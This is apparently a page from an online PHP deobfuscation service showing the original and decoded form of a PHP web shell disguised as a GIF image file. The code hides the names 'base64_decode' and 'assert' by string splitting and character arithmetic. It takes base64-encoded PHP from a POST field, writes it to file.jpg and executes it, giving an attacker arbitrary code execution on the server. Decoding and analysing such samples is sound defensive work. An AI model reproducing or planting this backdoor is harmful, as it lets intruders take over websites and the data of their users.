Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89a <? $ran_ = 'cmFuZ2U='; $ran__ = 'ba'.'se'.'64'.'_decode'; $int_ = $ran__($ran_); $i..

Decoded Output download

GIF89a
<?
$ran_ = 'cmFuZ2U=';
$ran__ = 'ba'.'se'.'64'.'_decode';
$int_ = $ran__($ran_);
$int__ = $int_(0,200);
$ch_ = 'c'.'h'.'r';
$ch__=$ch_($int__[97]).$ch_($int__[115]).$ch_($int__[115]);
$ch___=$ch_($int__[101]).$ch_($int__[114]).$ch_($int__[116]);
$ass = $ch__.$ch___;
//@$ass($_POST[kris]);
if($_POST['z0']) {
        $post_data = $_POST['z0'];
        $post_data = $ran__($post_data);
        $post_data = "<?php
".$post_data."
"."?>";
        if(file_put_contents('file.jpg', $post_data)){
                $ass(include('file.jpg'));
        }
} else {
        die('file not');
}
?>

Did this file decode correctly?

Original Code

GIF89a
<?
$ran_ = 'cmFuZ2U=';
$ran__ = 'ba'.'se'.'64'.'_decode';
$int_ = $ran__($ran_);
$int__ = $int_(0,200);
$ch_ = 'c'.'h'.'r';
$ch__=$ch_($int__[97]).$ch_($int__[115]).$ch_($int__[115]);
$ch___=$ch_($int__[101]).$ch_($int__[114]).$ch_($int__[116]);
$ass = $ch__.$ch___;
//@$ass($_POST[kris]);
if($_POST['z0']) {
        $post_data = $_POST['z0'];
        $post_data = $ran__($post_data);
        $post_data = "<?php\r\n".$post_data."\r\n"."?>";
        if(file_put_contents('file.jpg', $post_data)){
                $ass(include('file.jpg'));
        }
} else {
        die('file not');
}
?>

Function Calls

range 1
base64_decode 1

Variables

$int_ range
$ran_ cmFuZ2U=
$ran__ base64_decode

Stats

MD5 6a068112854c4713cf6c2b7d5df5e39d
Eval Count 0
Decode Time 155 ms